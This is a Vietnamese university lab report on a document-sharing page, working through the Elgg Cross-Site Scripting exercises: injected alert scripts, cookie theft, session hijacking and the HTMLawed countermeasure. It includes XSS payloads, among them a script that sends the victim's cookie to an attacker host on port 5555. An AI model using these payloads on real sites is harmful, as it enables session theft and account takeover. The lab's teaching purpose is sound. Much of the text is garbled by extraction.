1. Trang chủ
  2. » Luận Văn - Báo Cáo

Bài thực hành này hướng dẫn cách khai thác lỗ hổng cross site scripting

15 1 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Bài Thực Hành Này Hướng Dẫn Cách Khai Thác Lỗ Hổng Cross Site Scripting
Trường học Trường Đại Học Công Nghệ Thông Tin
Chuyên ngành Công Nghệ Thông Tin
Thể loại Bài thực hành
Định dạng
Số trang 15
Dung lượng 3,97 MB

Nội dung

Mục đích Bài thực hành này hướng dẫn cách khai thác lỗ hổng Cross-site scripting, chứng minh thiệt hại có thể đạt được do cuộc tấn công và nắm vững các kỹ thuật có thể giúp bảo vệ chống

Trang 2

2

1 Mục đích

Bài thực hành này hướng dẫn cách khai thác lỗ hổng Cross-site scripting, chứng minh thiệt hại có thể đạt được do cuộc tấn công và nắm vững các kỹ thuật có thể giúp bảo vệ chống lại kiểu tấn công như vậy

Cross-site scripting (XSS) là một loại lỗ hổng thường thấy trong các ứng dụng web

Lỗ hổng này giúp kẻ tấn công có thể đưa mã độc hại (ví dụ: chương trình JavaScript)

vào trình duyệt web của nạn nhân Sử dụng mã độc hại giúp kẻ tấn công có thể đánh

cắp thông tin đăng nhập của nạn nhân, chẳng hạn như cookie phiên Các chính sách

kiểm soát quyền truy cập (the same origin policy) được các trình duyệt sử dụng để bảo

vệ các thông tin đăng nhập đó có thể bị bỏ qua bằng cách khai thác lỗ hổng XSS Các

lỗ hổng loại này có khả năng dẫn đến các cuộc tấn công quy mô lớn

2 Nội dung lý thuyết

1 Khái niệm về lỗ hổng Cross-site Scripting (XSS):

• Định nghĩa: Cross-site Scripting (XSS) là một lỗ hổng bảo mật phổ biến trong ứng dụng web, xảy ra khi một ứng dụng không kiểm tra hoặc xử lý dữ liệu đầu vào từ người dùng một cách cẩn thận trước khi hiển thị nó lên trang web Điều này cho phép kẻ tấn công chèn mã JavaScript độc hại, từ đó thực thi mã này trên trình duyệt của nạn nhân

• Phân loại XSS:

o Stored XSS (XSS lưu trữ): Mã độc được lưu trữ trực tiếp trên server và hiển thị

lại cho nhiều người dùng khác nhau, như bình luận trên diễn đàn hay các bài

đăng trên mạng xã hội

o Reflected XSS (XSS phản chiếu): Mã độc được gửi qua URL hoặc form, không

lưu trữ trên server Khi người dùng truy cập liên kết hoặc tương tác với form, mã độc lập tức được thực thi

o DOM-based XSS: Lỗ hổng nằm trong mã JavaScript phía client, khi dữ liệu không được xử lý đúng cách trong DOM của trình duyệt mà không cần sự can thiệp từ phía server

• Tác hại của XSS:

o Đánh cắp cookie phiên để chiếm quyền truy cập vào tài khoản người dùng

o Thực hiện các hành động giả mạo như Cross-Site Request Forgery (CSRF)

o Phát tán mã độc hoặc thực hiện các cuộc tấn công quy mô lớn khác

Trang 3

2 JavaScript và công cụ phát triển web (Developer Tools/Network Tools):

• JavaScript:

o Là ngôn ngữ lập trình phía client phổ biến, giúp tạo ra các tính năng tương tác và động cho trang web

o Kẻ tấn công có thể lợi dụng JavaScript để chèn mã độc vào trang, từ đó thực thi các hành vi trái phép như đánh cắp dữ liệu hoặc thao túng giao diện

• Developer Tools (Công cụ phát triển):

o Inspector: Cho phép kiểm tra và chỉnh sửa cấu trúc HTML/CSS của trang để xác định các yếu tố dễ bị tấn công

o Console: Dùng để thử nghiệm và kiểm tra các đoạn mã JavaScript, đánh giá các

lỗ hổng có thể khai thác

o Network Tools: Giúp theo dõi các yêu cầu HTTP và phản hồi từ server, từ đó phân tích cách dữ liệu được xử lý và tìm kiếm các điểm yếu

• Ứng dụng Developer Tools trong XSS:

o Tìm kiếm và kiểm tra các phần tử không được kiểm soát chặt chẽ trên trang

o Chèn thử các đoạn mã để xác minh lỗ hổng và đánh giá mức độ tác động

3 Kiến thức về Ajax và Java trong khai thác web:

• Ajax (Asynchronous JavaScript and XML):

o Ajax cho phép gửi và nhận dữ liệu từ server mà không cần tải lại toàn bộ trang, mang đến trải nghiệm người dùng liền mạch và nhanh chóng

o Nếu không kiểm tra kỹ lưỡng, Ajax có thể trở thành cửa ngõ cho mã độc xâm nhập và thực thi mà người dùng không nhận ra

• Java:

o Java chủ yếu hoạt động ở phía server, nhưng vẫn có thể tương tác với mã JavaScript phía client Nếu kẻ tấn công lợi dụng lỗ hổng XSS để gửi yêu cầu độc hại tới server Java, họ có thể gây ra nhiều tác hại nghiêm trọng

o Các ứng dụng Java cần đảm bảo xử lý dữ liệu an toàn, tránh phản hồi trực tiếp các dữ liệu từ phía client mà không qua kiểm tra

3 Nộidungthực hành

3.1 Nhiệm vụ

Trang 4

4

Task S d1: ử ụng mã độc h i ạ hiệ thị ửa sổ ảnhn c c báo

Mục tiêu c a nhi m v này là nhúng m ủ ệ ụ ột chương trình JavaScript vào profile Elgg của bạn, sao cho khi m t ộ ngườ i dùng khác xem h ồ sơ ủ c a b ạn, chương trình Javascript sẽ được thự c thi và m ột

c ảnh báo đượ c hi ện th ị

Vào m c More trên thanh taskbar - ch n member- ụ ọ chọ n edit profile.

Chương trình Javascript như sau: <script>alert(’XSS);</script> ;

Khi đăng nhậ p vào victim , thông báo XSS hiệ n

Task S d2: ử ụng mã độc h i ạ hiệ thịn Cookies trên cửa sổ ảnh báo c

Trang 5

Trang 6

6

Figure: Hi n th ể ị cookie ngườ i dùng Task 3: Ăn ắ c p Cookies t máy c a n n nhânừ ủ ạ

Trong nhi m v này, k t ệ ụ ẻ ấn công t o m t mã Javascript g ạ ộ ửi cookie ngườ i dùng v cho k t ề ẻ ấn công, mã Javascript s g i m t HTTP request v i cookie n ẽ ử ộ ớ ạn nhân.

<script>document.write('<img src= http://172.25.0.3:5555?c= ' + escape(document.cookie) + ' >');

</script>

Khi Javascript chèn th img vào, trình duy ẻ ệt sẽ ố ải hình nh t c t ả ừ url điều này sẽ gửi một request cho k ẻ tân công Javascript đưa ra dưới đây sẽ ửi cookie đến cổng 5555 của máy kẻ tấn công, g máy ch k t n công s in ra nh ng gì nó nh ủ ẻ ấ ẽ ữ ận đượ c Máy ch TCP n m trong ủ ằ thư mục

echoserver.

Open terminal acttacker, vào thư mục run /echoserv 5555 và chúng ta s l ng nghe request c ẽ ắ ủa

Trang 7

trình duy ệt gử i cookie v cho k t ề ẻ ấn công.

Trang 8

8

Task Session Hijacking s d 4: ử ụng cookie bị đánh ắ c p

Sau khi đánh cắp cookie của n n nhân, k t n công có th làm b ạ ẻ ấ ể ất cứ đi ều gì nạn nhân có th làm ể

v i web Elgg, bao g m thêm và xóa b n bè c a n n nhân Trong nhi m v này, chúng tôi s kh ớ ồ ạ ủ ạ ệ ụ ẽ ởi

ch y cu c t n công chi m quy ạ ộ ấ ế ền điều khiển session Để thêm m ột ngườ ạ i b n cho n n nhân, chúng ạ

ta s tìm hi u cách m ẽ ể ột người dùng hợp pháp thêm m ột ngườ ạ i b n trong Elgg Chúng ta c n tìm ầ những gì có trong request g ửi đế n máy ch ủ khi ngườ i dùng thêm m ột ngườ ạ i b n Web Developer / Network tool s cho chúng ta bi t nh ng request t ẽ ế ữ ừ trình duy ệt gửi đế n máy ch ủ Từ ộ n i dung, chúng tôi có th ể xác định đượ ất cả c t các tham s trong request ố

Máy ch Elgg không th phân bi t xem yêu c u có ph ủ ể ệ ầ ải đượ c g ửi b i trình duy ở ệt nạ n nhân ho c b ặ ởi chương trình Java của kẻ tấn công Mi n sao trong request c a k t ễ ủ ẻ ấn công có đầy đủ tham số như sesion cookie Để đơn giản hóa nhiệm vụ, thư mục HTTPSimpleForge trên máy tính của kẻ tấn

công ch a m ứ ộ t mẫu chương trình Java thực hi n ệ

Note 1: Elgg s d ng hai tham s ử ụ ố elgg_ts và elgg_token là bi ện pháp đố i phó CSRF(Cross Site Request Forgery)

Trang 10

10

Elgg có s n các ẵ biệ n pháp đố i phó để chống ạ l i cu c t n công ộ ấ XSS Có m t plugin b o m ộ ả ật được xây d ng có tên HTMLawed 1.8 trên web Elgg Khi b ự ạn đăng nhậ p b ng tài kho n admin, nh n vào ằ ả ấ Administration, ch n plugin ọ

HTMLawed 1.8 sẽ s d ử ụng htmlspecialchars() trong PHP để encode input ngườ i dùng nhập vào

để tránh cho vi c k t ệ ẻ ấn công s d ử ụng script mã độ c h ại

Sau đó, chúng ta hãy thử vào l i tài kho ạ ản người dùng và thực hiện lại task 1 và task 2 ta không thấy còn l h ng XSS ỗ ổ

Trang 12

12

T a s k 2 k h ô n g h i ệ n c o o k i e n g ư ờ i d ù n g n ữ a

Trang 14

15

Ngày đăng: 15/02/2025, 22:24